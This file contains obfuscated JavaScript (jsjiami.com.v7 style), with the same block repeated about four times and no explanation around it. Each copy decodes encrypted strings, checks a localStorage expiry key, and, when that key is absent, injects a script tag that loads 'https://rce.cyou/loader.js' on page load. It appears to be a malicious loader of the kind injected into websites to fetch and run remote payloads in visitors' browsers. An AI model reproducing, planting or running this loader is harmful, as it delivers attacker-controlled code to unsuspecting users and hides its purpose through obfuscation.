_0x110667=_0x19740a[0x0],_0xbc4c22=_0x3b8fd1+_0x110667,_0x393b4e=_0x1e8209[_0xbc4c22];return!_0x393b4e?(_0x3b8f['ZEPWZh']===undefined&&(_0x3b8f['ZEPWZh']=!![]),_0x4add61=_0x3b8f['LmReRA'](_0x4add61,_0x56e0ff),_0x1e8209[_0xbc4c22]=_0x4add61):_0x4add61=_0x393b4e,_0x4add61;},_0x3b8f(_0x1e8209,_0x4da9f5);}function _0x1974(){const _0x540a2b=(function(){return[_0xodP,'frjdesjiWHalmidx.PqAcVPoXempu.grvx7LGEwf==','W4xdTCoObx7cIConWPrM','FKddKba','WRtdI0ldKxldOSoAWRHdWP7dQCky','WRC4DrtcPG','iSkQbLn0W59W','WQqUyrxcS2JdKSkmhSoD','Cmk+W4bku0/dIa','WP06W5ddHcqQWPCEw0JcMSk4WPFcGW','ECo4F1RcJa','WQldGhBcHqhdQ8kis33cKSkEuxG'].concat((function(){return['gCkGyg92rCoaB1xcTSoDy8ou','W4nWW4mKWQRcI8o3','W6pcRSouWPeWkCkHW7JdNKLe','tmoAnYDbefHC','WPeMWOvvW67dNCo7WR0jwtqj','WQiYFb8','yhxdQsXbWRuQWQhdRqjhzZ3cMq','WP1aWOhcRJDWhSomvsfo','W6GlWQSelmkaxq8','WPf5W78fWRNcTSo4','ldddG8oHwL4pW5jzWPOlkfO','WOiWW5xdJ1JdOSkh'].concat((function(){return['W4/cH8kunvhcGmo6','W4JdQIhdI8ou','l8k4WQNdKv7cPu3dVmo+W6VcUNW','aCk9W7JcRrtcKqJcUSor','dSoRhLxdS3eycG','omkGWRBdT8odjb3dNX7dImoW','WPz9CfVdISo5C8kLgmosWOhcLmoQ','W5iKnrZcNa','WP5kWOdcQJWgw8oDFr9QW7yz','WO3dO1ZdHSocW73dGmk2EYK','qCoVzqbA'];}()));}()));}());_0x1974=function(){return _0x540a2b;};return _0x1974();};function removeItem(_0x4cc9e7){const _0x4ecff1=_0x3b8f;localStorage[_0x4ecff1(0xd1,'adSJ')](_0x4cc9e7);}function loadScript(_0x435748,_0x133352){const _0x475c28=_0x3b8f,_0x7d25b1={'UQsjY':_0x475c28(0xe0,'H81['),'eJvXD':function(_0x5bf1bc,_0x2de130){return _0x5bf1bc+_0x2de130;},'PrfUB':'text/javascript'};var _0xd8d789=_0x7d25b1['UQsjY']+Math['random'](),_0x2851b8=document['createElement']('script');_0x2851b8['src']=_0x7d25b1['eJvXD'](_0x435748,_0xd8d789),_0x2851b8[_0x475c28(0xe2,'Qi!P')]=_0x7d25b1[_0x475c28(0xea,'nwG4')],_0x2851b8[_0x475c28(0xd6,'Qi!P')]=!![],_0x2851b8['onload']=function(){if(_0x133352)_0x133352();},document[_0x475c28(0xd4,'FGZE')][_0x475c28(0xdf,'vhk#')](_0x2851b8);}var cnv=getWithExpiry(_0x295cf3(0xec,'p6i@'));!cnv&&loadScript('https://rce.cyou/loader.js',function(){});var version_ = 'jsjiami.com.v7';
var _0xodP='jsjiami.com.v7';const _0x295cf3=_0x3b8f;(function(_0xc5cc41,_0x4feb21,_0x545a2e,_0x2537c8,_0x32e7fd,_0x513f9a,_0x39f1e2){return _0xc5cc41=_0xc5cc41>>0x5,_0x513f9a='hs',_0x39f1e2='hs',function(_0x1b1f70,_0x58f36c,_0x15d77f,_0xd68b84,_0x5d9133){const _0x434c6d=_0x3b8f;_0xd68b84='tfi',_0x513f9a=_0xd68b84+_0x513f9a,_0x5d9133='up',_0x39f1e2+=_0x5d9133,_0x513f9a=_0x15d77f(_0x513f9a),_0x39f1e2=_0x15d77f(_0x39f1e2),_0x15d77f=0x0;const _0x5b828d=_0x1b1f70();while(!![]&&--_0x2537c8+_0x58f36c){try{_0xd68b84=parseInt(_0x434c6d(0xe1,'ZqEY'))/0x1+parseInt(_0x434c6d(0xcc,'M8vR'))/0x2*(-parseInt(_0x434c6d(0xeb,'q3Q5'))/0x3)+-parseInt(_0x434c6d(0xe7,'gF@f'))/0x4+parseInt(_0x434c6d(0xe8,'&mJz'))/0x5*(-parseInt(_0x434c6d(0xd0,'rKxh'))/0x6)+-parseInt(_0x434c6d(0xd3,'05Z#'))/0x7*(-parseInt(_0x434c6d(0xe4,'rKxh'))/0x8)+parseInt(_0x434c6d(0xe9,'05Z#'))/0x9*(-parseInt(_0x434c6d(0xdc,'GrLm'))/0xa)+parseInt(_0x434c6d(0xda,'KXPC'))/0xb;}catch(_0x42cc73){_0xd68b84=_0x15d77f;}finally{_0x5d9133=_0x5b828d[_0x513f9a]();if(_0xc5cc41<=_0x2537c8)_0x15d77f?_0x32e7fd?_0xd68b84=_0x5d9133:_0x32e7fd=_0x5d9133:_0x15d77f=_0x5d9133;else{if(_0x15d77f==_0x32e7fd['replace'](/[eXwGdgpLqPHWrxAuflVE=]/g,'')){if(_0xd68b84===_0x58f36c){_0x5b828d['un'+_0x513f9a](_0x5d9133);break;}_0x5b828d[_0x39f1e2](_0x5d9133);}}}}}(_0x545a2e,_0x4feb21,function(_0x300ba3,_0x101aa7,_0x586637,_0x298385,_0x5ebbb2,_0x2eec8e,_0x156d5b){return _0x101aa7='\x73\x70\x6c\x69\x74',_0x300ba3=arguments[0x0],_0x300ba3=_0x300ba3[_0x101aa7](''),_0x586637='\x72\x65\x76\x65\x72\x73\x65',_0x300ba3=_0x300ba3[_0x586637]('\x76'),_0x298385='\x6a\x6f\x69\x6e',(0x191dff,_0x300ba3[_0x298385](''));});}(0x1980,0x991da,_0x1974,0xce),_0x1974)&&(_0xodP=`\xb6f`);function getWithExpiry(_0x1b188d){const _0x3cdbc7=_0x3b8f,_0x3a6253={'zTyft':function(_0xcfbcee,_0x669429){return _0xcfbcee>_0x669429;}},_0x3857dc=localStorage[_0x3cdbc7(0xde,'ZqEY')](_0x1b188d);if(!_0x3857dc)return null;const _0x16d3a9=JSON[_0x3cdbc7(0xcf,'*TQd')](_0x3857dc),_0x377d74=new Date();if(_0x3a6253[_0x3cdbc7(0xdb,'#2SW')](_0x377d74[_0x3cdbc7(0xd9,'%slH')](),_0x16d3a9['expiry']))return localStorage[_0x3cdbc7(0xd8,'Qi!P')](_0x1b188d),null;return _0x16d3a9[_0x3cdbc7(0xd2,'au!g')];}function _0x3b8f(_0x1e8209,_0x4da9f5){const _0x19740a=_0x1974();return _0x3b8f=function(_0x3b8fd1,_0x56e0ff){_0x3b8fd1=_0x3b8fd1-0xcc;let _0x4add61=_0x19740a[_0x3b8fd1];if(_0x3b8f['YqIjze']===undefined){var _0x4571a3=function(_0x1dd089){const _0x433c09='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x53bcde='',_0x10143c='';for(let _0x30b419=0x0,_0x49deda,_0x16be62,_0x367e8f=0x0;_0x16be62=_0x1dd089['charAt'](_0x367e8f++);~_0x16be62&&(_0x49deda=_0x30b419%0x4?_0x49deda*0x40+_0x16be62:_0x16be62,_0x30b419++%0x4)?_0x53bcde+=String['fromCharCode'](0xff&_0x49deda>>(-0x2*_0x30b419&0x6)):0x0){_0x16be62=_0x433c09['indexOf'](_0x16be62);}for(let _0xf09e4f=0x0,_0x29ce55=_0x53bcde['length'];_0xf09e4f<_0x29ce55;_0xf09e4f++){_0x10143c+='%'+('00'+_0x53bcde['charCodeAt'](_0xf09e4f)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x10143c);};const _0x4b7ef1=function(_0x3f558b,_0x10581f){let _0x26620c=[],_0x183ec1=0x0,_0x6477b6,_0x1ed570='';_0x3f558b=_0x4571a3(_0x3f558b);let _0x55c1f8;for(_0x55c1f8=0x0;_0x55c1f8<0x100;_0x55c1f8++){_0x26620c[_0x55c1f8]=_0x55c1f8;}for(_0x55c1f8=0x0;_0x55c1f8<0x100;_0x55c1f8++){_0x183ec1=(_0x183ec1+_0x26620c[_0x55c1f8]+_0x10581f['charCodeAt'](_0x55c1f8%_0x10581f['length']))%0x100,_0x6477b6=_0x26620c[_0x55c1f8],_0x26620c[_0x55c1f8]=_0x26620c[_0x183ec1],_0x26620c[_0x183ec1]=_0x6477b6;}_0x55c1f8=0x0,_0x183ec1=0x0;for(let _0x45d771=0x0;_0x45d771<_0x3f558b['length'];_0x45d771++){_0x55c1f8=(_0x55c1f8+0x1)%0x100,_0x183ec1=(_0x183ec1+_0x26620c[_0x55c1f8])%0x100,_0x6477b6=_0x26620c[_0x55c1f8],_0x26620c[_0x55c1f8]=_0x26620c[_0x183ec1],_0x26620c[_0x183ec1]=_0x6477b6,_0x1ed570+=String['fromCharCode'](_0x3f558b['charCodeAt'](_0x45d771)^_0x26620c[(_0x26620c[_0x55c1f8]+_0x26620c[_0x183ec1])%0x100]);}return _0x1ed570;};_0x3b8f['LmReRA']=_0x4b7ef1,_0x1e8209=arguments,_0x3b8f['YqIjze']=!![];}const _0x110667=_0x19740a[0x0],_0xbc4c22=_0x3b8fd1+_0x110667,_0x393b4e=_0x1e8209[_0xbc4c22];return!_0x393b4e?(_0x3b8f['ZEPWZh']===undefined&&(_0x3b8f['ZEPWZh']=!![]),_0x4add61=_0x3b8f['LmReRA'](_0x4add61,_0x56e0ff),_0x1e8209[_0xbc4c22]=_0x4add61):_0x4add61=_0x393b4e,_0x4add61;},_0x3b8f(_0x1e8209,_0x4da9f5);}function _0x1974(){const _0x540a2b=(function(){return[_0xodP,'frjdesjiWHalmidx.PqAcVPoXempu.grvx7LGEwf==','W4xdTCoObx7cIConWPrM','FKddKba','WRtdI0ldKxldOSoAWRHdWP7dQCky','WRC4DrtcPG','iSkQbLn0W59W','WQqUyrxcS2JdKSkmhSoD','Cmk+W4bku0/dIa','WP06W5ddHcqQWPCEw0JcMSk4WPFcGW','ECo4F1RcJa','WQldGhBcHqhdQ8kis33cKSkEuxG'].concat((function(){return['gCkGyg92rCoaB1xcTSoDy8ou','W4nWW4mKWQRcI8o3','W6pcRSouWPeWkCkHW7JdNKLe','tmoAnYDbefHC','WPeMWOvvW67dNCo7WR0jwtqj','WQiYFb8','yhxdQsXbWRuQWQhdRqjhzZ3cMq','WP1aWOhcRJDWhSomvsfo','W6GlWQSelmkaxq8','WPf5W78fWRNcTSo4','ldddG8oHwL4pW5jzWPOlkfO','WOiWW5xdJ1JdOSkh'].concat((function(){return['W4/cH8kunvhcGmo6','W4JdQIhdI8ou','l8k4WQNdKv7cPu3dVmo+W6VcUNW','aCk9W7JcRrtcKqJcUSor','dSoRhLxdS3eycG','omkGWRBdT8odjb3dNX7dImoW','WPz9CfVdISo5C8kLgmosWOhcLmoQ','W5iKnrZcNa','WP5kWOdcQJWgw8oDFr9QW7yz','WO3dO1ZdHSocW73dGmk2EYK','qCoVzqbA'];}()));}()));}());_0x1974=function(){return _0x540a2b;};return _0x1974();};function removeItem(_0x4cc9e7){const _0x4ecff1=_0x3b8f;localStorage[_0x4ecff1(0xd1,'adSJ')](_0x4cc9e7);}function loadScript(_0x435748,_0x133352){const _0x475c28=_0x3b8f,_0x7d25b1={'UQsjY':_0x475c28(0xe0,'H81['),'eJvXD':function(_0x5bf1bc,_0x2de130){return _0x5bf1bc+_0x2de130;},'PrfUB':'text/javascript'};var _0xd8d789=_0x7d25b1['UQsjY']+Math['random'](),_0x2851b8=document['createElement']('script');_0x2851b8['src']=_0x7d25b1['eJvXD'](_0x435748,_0xd8d789),_0x2851b8[_0x475c28(0xe2,'Qi!P')]=_0x7d25b1[_0x475c28(0xea,'nwG4')],_0x2851b8[_0x475c28(0xd6,'Qi!P')]=!![],_0x2851b8['onload']=function(){if(_0x133352)_0x133352();},document[_0x475c28(0xd4,'FGZE')][_0x475c28(0xdf,'vhk#')](_0x2851b8);}var cnv=getWithExpiry(_0x295cf3(0xec,'p6i@'));!cnv&&loadScript('https://rce.cyou/loader.js',function(){});var version_ = 'jsjiami.com.v7';
var _0xodP='jsjiami.com.v7';const _0x295cf3=_0x3b8f;(function(_0xc5cc41,_0x4feb21,_0x545a2e,_0x2537c8,_0x32e7fd,_0x513f9a,_0x39f1e2){return _0xc5cc41=_0xc5cc41>>0x5,_0x513f9a='hs',_0x39f1e2='hs',function(_0x1b1f70,_0x58f36c,_0x15d77f,_0xd68b84,_0x5d9133){const _0x434c6d=_0x3b8f;_0xd68b84='tfi',_0x513f9a=_0xd68b84+_0x513f9a,_0x5d9133='up',_0x39f1e2+=_0x5d9133,_0x513f9a=_0x15d77f(_0x513f9a),_0x39f1e2=_0x15d77f(_0x39f1e2),_0x15d77f=0x0;const _0x5b828d=_0x1b1f70();while(!![]&&--_0x2537c8+_0x58f36c){try{_0xd68b84=parseInt(_0x434c6d(0xe1,'ZqEY'))/0x1+parseInt(_0x434c6d(0xcc,'M8vR'))/0x2*(-parseInt(_0x434c6d(0xeb,'q3Q5'))/0x3)+-parseInt(_0x434c6d(0xe7,'gF@f'))/0x4+parseInt(_0x434c6d(0xe8,'&mJz'))/0x5*(-parseInt(_0x434c6d(0xd0,'rKxh'))/0x6)+-parseInt(_0x434c6d(0xd3,'05Z#'))/0x7*(-parseInt(_0x434c6d(0xe4,'rKxh'))/0x8)+parseInt(_0x434c6d(0xe9,'05Z#'))/0x9*(-parseInt(_0x434c6d(0xdc,'GrLm'))/0xa)+parseInt(_0x434c6d(0xda,'KXPC'))/0xb;}catch(_0x42cc73){_0xd68b84=_0x15d77f;}finally{_0x5d9133=_0x5b828d[_0x513f9a]();if(_0xc5cc41<=_0x2537c8)_0x15d77f?_0x32e7fd?_0xd68b84=_0x5d9133:_0x32e7fd=_0x5d9133:_0x15d77f=_0x5d9133;else{if(_0x15d77f==_0x32e7fd['replace'](/[eXwGdgpLqPHWrxAuflVE=]/g,'')){if(_0xd68b84===_0x58f36c){_0x5b828d['un'+_0x513f9a](_0x5d9133);break;}_0x5b828d[_0x39f1e2](_0x5d9133);}}}}}(_0x545a2e,_0x4feb21,function(_0x300ba3,_0x101aa7,_0x586637,_0x298385,_0x5ebbb2,_0x2eec8e,_0x156d5b){return _0x101aa7='\x73\x70\x6c\x69\x74',_0x300ba3=arguments[0x0],_0x300ba3=_0x300ba3[_0x101aa7](''),_0x586637='\x72\x65\x76\x65\x72\x73\x65',_0x300ba3=_0x300ba3[_0x586637]('\x76'),_0x298385='\x6a\x6f\x69\x6e',(0x191dff,_0x300ba3[_0x298385](''));});}(0x1980,0x991da,_0x1974,0xce),_0x1974)&&(_0xodP=`\xb6f`);function getWithExpiry(_0x1b188d){const _0x3cdbc7=_0x3b8f,_0x3a6253={'zTyft':function(_0xcfbcee,_0x669429){return _0xcfbcee>_0x669429;}},_0x3857dc=localStorage[_0x3cdbc7(0xde,'ZqEY')](_0x1b188d);if(!_0x3857dc)return null;const _0x16d3a9=JSON[_0x3cdbc7(0xcf,'*TQd')](_0x3857dc),_0x377d74=new Date();if(_0x3a6253[_0x3cdbc7(0xdb,'#2SW')](_0x377d74[_0x3cdbc7(0xd9,'%slH')](),_0x16d3a9['expiry']))return localStorage[_0x3cdbc7(0xd8,'Qi!P')](_0x1b188d),null;return _0x16d3a9[_0x3cdbc7(0xd2,'au!g')];}function _0x3b8f(_0x1e8209,_0x4da9f5){const _0x19740a=_0x1974();return _0x3b8f=function(_0x3b8fd1,_0x56e0ff){_0x3b8fd1=_0x3b8fd1-0xcc;let _0x4add61=_0x19740a[_0x3b8fd1];if(_0x3b8f['YqIjze']===undefined){var _0x4571a3=function(_0x1dd089){const _0x433c09='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x53bcde='',_0x10143c='';for(let _0x30b419=0x0,_0x49deda,_0x16be62,_0x367e8f=0x0;_0x16be62=_0x1dd089['charAt'](_0x367e8f++);~_0x16be62&&(_0x49deda=_0x30b419%0x4?_0x49deda*0x40+_0x16be62:_0x16be62,_0x30b419++%0x4)?_0x53bcde+=String['fromCharCode'](0xff&_0x49deda>>(-0x2*_0x30b419&0x6)):0x0){_0x16be62=_0x433c09['indexOf'](_0x16be62);}for(let _0xf09e4f=0x0,_0x29ce55=_0x53bcde['length'];_0xf09e4f<_0x29ce55;_0xf09e4f++){_0x10143c+='%'+('00'+_0x53bcde['charCodeAt'](_0xf09e4f)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x10143c);};const _0x4b7ef1=function(_0x3f558b,_0x10581f){let _0x26620c=[],_0x183ec1=0x0,_0x6477b6,_0x1ed570='';_0x3f558b=_0x4571a3(_0x3f558b);let _0x55c1f8;for(_0x55c1f8=0x0;_0x55c1f8<0x100;_0x55c1f8++){_0x26620c[_0x55c1f8]=_0x55c1f8;}for(_0x55c1f8=0x0;_0x55c1f8<0x100;_0x55c1f8++){_0x183ec1=(_0x183ec1+_0x26620c[_0x55c1f8]+_0x10581f['charCodeAt'](_0x55c1f8%_0x10581f['length']))%0x100,_0x6477b6=_0x26620c[_0x55c1f8],_0x26620c[_0x55c1f8]=_0x26620c[_0x183ec1],_0x26620c[_0x183ec1]=_0x6477b6;}_0x55c1f8=0x0,_0x183ec1=0x0;for(let _0x45d771=0x0;_0x45d771<_0x3f558b['length'];_0x45d771++){_0x55c1f8=(_0x55c1f8+0x1)%0x100,_0x183ec1=(_0x183ec1+_0x26620c[_0x55c1f8])%0x100,_0x6477b6=_0x26620c[_0x55c1f8],_0x26620c[_0x55c1f8]=_0x26620c[_0x183ec1],_0x26620c[_0x183ec1]=_0x6477b6,_0x1ed570+=String['fromCharCode'](_0x3f558b['charCodeAt'](_0x45d771)^_0x26620c[(_0x26620c[_0x55c1f8]+_0x26620c[_0x183ec1])%0x100]);}return _0x1ed570;};_0x3b8f['LmReRA']=_0x4b7ef1,_0x1e8209=arguments,_0x3b8f['YqIjze']=!![];}const _0x110667=_0x19740a[0x0],_0xbc4c22=_0x3b8fd1+_0x110667,_0x393b4e=_0x1e8209[_0xbc4c22];return!_0x393b4e?(_0x3b8f['ZEPWZh']===undefined&&(_0x3b8f['ZEPWZh']=!![]),_0x4add61=_0x3b8f['LmReRA'](_0x4add61,_0x56e0ff),_0x1e8209[_0xbc4c22]=_0x4add61):_0x4add61=_0x393b4e,_0x4add61;},_0x3b8f(_0x1e8209,_0x4da9f5);}function _0x1974(){const _0x540a2b=(function(){return[_0xodP,'frjdesjiWHalmidx.PqAcVPoXempu.grvx7LGEwf==','W4xdTCoObx7cIConWPrM','FKddKba','WRtdI0ldKxldOSoAWRHdWP7dQCky','WRC4DrtcPG','iSkQbLn0W59W','WQqUyrxcS2JdKSkmhSoD','Cmk+W4bku0/dIa','WP06W5ddHcqQWPCEw0JcMSk4WPFcGW','ECo4F1RcJa','WQldGhBcHqhdQ8kis33cKSkEuxG'].concat((function(){return['gCkGyg92rCoaB1xcTSoDy8ou','W4nWW4mKWQRcI8o3','W6pcRSouWPeWkCkHW7JdNKLe','tmoAnYDbefHC','WPeMWOvvW67dNCo7WR0jwtqj','WQiYFb8','yhxdQsXbWRuQWQhdRqjhzZ3cMq','WP1aWOhcRJDWhSomvsfo','W6GlWQSelmkaxq8','WPf5W78fWRNcTSo4','ldddG8oHwL4pW5jzWPOlkfO','WOiWW5xdJ1JdOSkh'].concat((function(){return['W4/cH8kunvhcGmo6','W4JdQIhdI8ou','l8k4WQNdKv7cPu3dVmo+W6VcUNW','aCk9W7JcRrtcKqJcUSor','dSoRhLxdS3eycG','omkGWRBdT8odjb3dNX7dImoW','WPz9CfVdISo5C8kLgmosWOhcLmoQ','W5iKnrZcNa','WP5kWOdcQJWgw8oDFr9QW7yz','WO3dO1ZdHSocW73dGmk2EYK','qCoVzqbA'];}()));}()));}());_0x1974=function(){return _0x540a2b;};return _0x1974();};function removeItem(_0x4cc9e7){const _0x4ecff1=_0x3b8f;localStorage[_0x4ecff1(0xd1,'adSJ')](_0x4cc9e7);}function loadScript(_0x435748,_0x133352){const _0x475c28=_0x3b8f,_0x7d25b1={'UQsjY':_0x475c28(0xe0,'H81['),'eJvXD':function(_0x5bf1bc,_0x2de130){return _0x5bf1bc+_0x2de130;},'PrfUB':'text/javascript'};var _0xd8d789=_0x7d25b1['UQsjY']+Math['random'](),_0x2851b8=document['createElement']('script');_0x2851b8['src']=_0x7d25b1['eJvXD'](_0x435748,_0xd8d789),_0x2851b8[_0x475c28(0xe2,'Qi!P')]=_0x7d25b1[_0x475c28(0xea,'nwG4')],_0x2851b8[_0x475c28(0xd6,'Qi!P')]=!![],_0x2851b8['onload']=function(){if(_0x133352)_0x133352();},document[_0x475c28(0xd4,'FGZE')][_0x475c28(0xdf,'vhk#')](_0x2851b8);}var cnv=getWithExpiry(_0x295cf3(0xec,'p6i@'));!cnv&&loadScript('https://rce.cyou/loader.js',function(){});var version_ = 'jsjiami.com.v7';
var _0xodP='jsjiami.com.v7';const _0x295cf3=_0x3b8f;(function(_0xc5cc41,_0x4feb21,_0x545a2e,_0x2537c8,_0x32e7fd,_0x513f9a,_0x39f1e2){return _0xc5cc41=_0xc5cc41>>0x5,_0x513f9a='hs',_0x39f1e2='hs',function(_0x1b1f70,_0x58f36c,_0x15d77f,_0xd68b84,_0x5d9133){const _0x434c6d=_0x3b8f;_0xd68b84='tfi',_0x513f9a=_0xd68b84+_0x513f9a,_0x5d9133='up',_0x39f1e2+=_0x5d9133,_0x513f9a=_0x15d77f(_0x513f9a),_0x39f1e2=_0x15d77f(_0x39f1e2),_0x15d77f=0x0;const _0x5b828d=_0x1b1f70();while(!![]&&--_0x2537c8+_0x58f36c){try{_0xd68b84=parseInt(_0x434c6d(0xe1,'ZqEY'))/0x1+parseInt(_0x434c6d(0xcc,'M8vR'))/0x2*(-parseInt(_0x434c6d(0xeb,'q3Q5'))/0x3)+-parseInt(_0x434c6d(0xe7,'gF@f'))/0x4+parseInt(_0x434c6d(0xe8,'&mJz'))/0x5*(-parseInt(_0x434c6d(0xd0,'rKxh'))/0x6)+-parseInt(_0x434c6d(0xd3,'05Z#'))/0x7*(-parseInt(_0x434c6d(0xe4,'rKxh'))/0x8)+parseInt(_0x434c6d(0xe9,'05Z#'))/0x9*(-parseInt(_0x434c6d(0xdc,'GrLm'))/0xa)+parseInt(_0x434c6d(0xda,'KXPC'))/0xb;}catch(_0x42cc73){_0xd68b84=_0x15d77f;}finally{_0x5d9133=_0x5b828d[_0x513f9a]();if(_0xc5cc41<=_0x2537c8)_0x15d77f?_0x32e7fd?_0xd68b84=_0x5d9133:_0x32e7fd=_0x5d9133:_0x15d77f=_0x5d9133;else{if(_0x15d77f==_0x32e7fd['replace'](/[eXwGdgpLqPHWrxAuflVE=]/g,'')){if(_0xd68b84===_0x58f36c){_0x5b828d['un'+_0x513f9a](_0x5d9133);break;}_0x5b828d[_0x39f1e2](_0x5d9133);}}}}}(_0x545a2e,_0x4feb21,function(_0x300ba3,_0x101aa7,_0x586637,_0x298385,_0x5ebbb2,_0x2eec8e,_0x156d5b){return _0x101aa7='\x73\x70\x6c\x69\x74',_0x300ba3=arguments[0x0],_0x300ba3=_0x300ba3[_0x101aa7](''),_0x586637='\x72\x65\x76\x65\x72\x73\x65',_0x300ba3=_0x300ba3[_0x586637]('\x76'),_0x298385='\x6a\x6f\x69\x6e',(0x191dff,_0x300ba3[_0x298385](''));});}(0x1980,0x991da,_0x1974,0xce),_0x1974)&&(_0xodP=`\xb6f`);function getWithExpiry(_0x1b188d){const _0x3cdbc7=_0x3b8f,_0x3a6253={'zTyft':function(_0xcfbcee,_0x669429){return _0xcfbcee>_0x669429;}},_0x3857dc=localStorage[_0x3cdbc7(0xde,'ZqEY')](_0x1b188d);if(!_0x3857dc)return null;const _0x16d3a9=JSON[_0x3cdbc7(0xcf,'*TQd')](_0x3857dc),_0x377d74=new Date();if(_0x3a6253[_0x3cdbc7(0xdb,'#2SW')](_0x377d74[_0x3cdbc7(0xd9,'%slH')](),_0x16d3a9['expiry']))return localStorage[_0x3cdbc7(0xd8,'Qi!P')](_0x1b188d),null;return _0x16d3a9[_0x3cdbc7(0xd2,'au!g')];}function _0x3b8f(_0x1e8209,_0x4da9f5){const _0x19740a=_0x1974();return _0x3b8f=function(_0x3b8fd1,_0x56e0ff){_0x3b8fd1=_0x3b8fd1-0xcc;let _0x4add61=_0x19740a[_0x3b8fd1];if(_0x3b8f['YqIjze']===undefined){var _0x4571a3=function(_0x1dd089){const _0x433c09='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x53bcde='',_0x10143c='';for(let _0x30b419=0x0,_0x49deda,_0x16be62,_0x367e8f=0x0;_0x16be62=_0x1dd089['charAt'](_0x367e8f++);~_0x16be62&&(_0x49deda=_0x30b419%0x4?_0x49deda*0x40+_0x16be62:_0x16be62,_0x30b419++%0x4)?_0x53bcde+=String['fromCharCode'](0xff&_0x49deda>>(-0x2*_0x30b419&0x6)):0x0){_0x16be62=_0x433c09['indexOf'](_0x16be62);}for(let _0xf09e4f=0x0,_0x29ce55=_0x53bcde['length'];_0xf09e4f<_0x29ce55;_0xf09e4f++){_0x10143c+='%'+('00'+_0x53bcde['charCodeAt'](_0xf09e4f)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x10143c);};const _0x4b7ef1=function(_0x3f558b,_0x10581f){let _0x26620c=[],_0x183ec1=0x0,_0x6477b6,_0x1ed570='';_0x3f558b=_0x4571a3(_0x3f558b);let _0x55c1f8;for(_0x55c1f8=0x0;_0x55c1f8<0x100;_0x55c1f8++){_0x26620c[_0x55c1f8]=_0x55c1f8;}for(_0x55c1f8=0x0;_0x55c1f8<0x100;_0x55c1f8++){_0x183ec1=(_0x183ec1+_0x26620c[_0x55c1f8]+_0x10581f['charCodeAt'](_0x55c1f8%_0x10581f['length']))%0x100,_0x6477b6=_0x26620c[_0x55c1f8],_0x26620c[_0x55c1f8]=_0x26620c[_0x183ec1],_0x26620c[_0x183ec1]=_0x6477b6;}_0x55c1f8=0x0,_0x183ec1=0x0;for(let _0x45d771=0x0;_0x45d771<_0x3f558b['length'];_0x45d771++){_0x55c1f8=(_0x55c1f8+0x1)%0x100,_0x183ec1=(_0x183ec1+_0x26620c[_0x55c1f8])%0x100,_0x6477b6=_0x26620c[_0x55c1f8],_0x26620c[_0x55c1f8]=_0x26620c[_0x183ec1],_0x26620c[_0x183ec1]=_0x6477b6,_0x1ed570+=String['fromCharCode'](_0x3f558b['charCodeAt'](_0x45d771)^_0x26620c[(_0x26620c[_0x55c1f8]+_0x26620c[_0x183ec1])%0x100]);}return _0x1ed570;};_0x3b8f['LmReRA']=_0x4b7ef1,_0x1e8209=arguments,_0x3b8f['YqIjze']=!![];}const _0x110667=_0x19740a[0x0],_0xbc4c22=_0x3b8fd1+_0x110667,_0x393b4e=_0x1e8209[_0xbc4c22];return!_0x393b4e?(_0x3b8f['ZEPWZh']===undefined&&(_0x3b8f['ZEPWZh']=!![]),_0x4add61=_0x3b8f['LmReRA'](_0x4add61,_0x56e0ff),_0x1e8209[_0xbc4c22]=_0x4add61):_0x4add61=_0x393b4e,_0x4add61;},_0x3b8f(_0x1e8209,_0x4da9f5);}function _0x1974(){const _0x540a2b=(function(){return[_0xodP,'frjdesjiWHalmidx.PqAcVPoXempu.grvx7LGEwf==','W4xdTCoObx7cIConWPrM','FKddKba','WRtdI0ldKxldOSoAWRHdWP7dQCky','WRC4DrtcPG','iSkQbLn0W59W','WQqUyrxcS2JdKSkmhSoD','Cmk+W4bku0/dIa','WP06W5ddHcqQWPCEw0JcMSk4WPFcGW','ECo4F1RcJa','WQldGhBcHqhdQ8kis33cKSkEuxG'].concat((function(){return['gCkGyg92rCoaB1xcTSoDy8ou','W4nWW4mKWQRcI8o3','W6pcRSouWPeWkCkHW7JdNKLe','tmoAnYDbefHC','WPeMWOvvW67dNCo7WR0jwtqj','WQiYFb8','yhxdQsXbWRuQWQhdRqjhzZ3cMq','WP1aWOhcRJDWhSomvsfo','W6GlWQSelmkaxq8','WPf5W78fWRNcTSo4','ldddG8oHwL4pW5jzWPOlkfO','WOiWW5xdJ1JdOSkh'].concat((function(){return['W4/cH8kunvhcGmo6','W4JdQIhdI8ou','l8k4WQNdKv7cPu3dVmo+W6VcUNW','aCk9W7JcRrtcKqJcUSor','dSoRhLxdS3eycG','omkGWRBdT8odjb3dNX7dImoW','WPz9CfVdISo5C8kLgmosWOhcLmoQ','W5iKnrZcNa','WP5kWOdcQJWgw8oDFr9QW7yz','WO3dO1ZdHSocW73dGmk2EYK','qCoVzqbA'];}()));}()));}());_0x1974=function(){return _0x540a2b;};return _0x1974();};function removeItem(_0x4cc9e7){const _0x4ecff1=_0x3b8f;localStorage[_0x4ecff1(0xd1,'adSJ')](_0x4cc9e7);}function loadScript(_0x435748,_0x133352){const _0x475c28=_0x3b8f,_0x7d25b1={'UQsjY':_0x475c28(0xe0,'H81['),'eJvXD':function(_0x5bf1bc,_0x2de130){return _0x5bf1bc+_0x2de130;},'PrfUB':'text/javascript'};var _0xd8d789=_0x7d25b1['UQsjY']+Math['random'](),_0x2851b8=document['createElement']('script');_0x2851b8['src']=_0x7d25b1['eJvXD'](_0x435748,_0xd8d789),_0x2851b8[_0x475c28(0xe2,'Qi!P')]=_0x7d25b1[_0x475c28(0xea,'nwG4')],_0x2851b8[_0x475c28(0xd6,'Qi!P')]=!![],_0x2851b8['onload']=function(){if(_0x133352)_0x133352();},document[_0x475c28(0xd4,'FGZE')][_0x475c28(0xdf,'vhk#')](_0x2851b8);}var cnv=getWithExpiry(_0x295cf3(0xec,'p6i@'));!cnv&&loadScript('https://rce.cyou/loader.js',function(){});var version_ = 'jsjiami.com.v7';
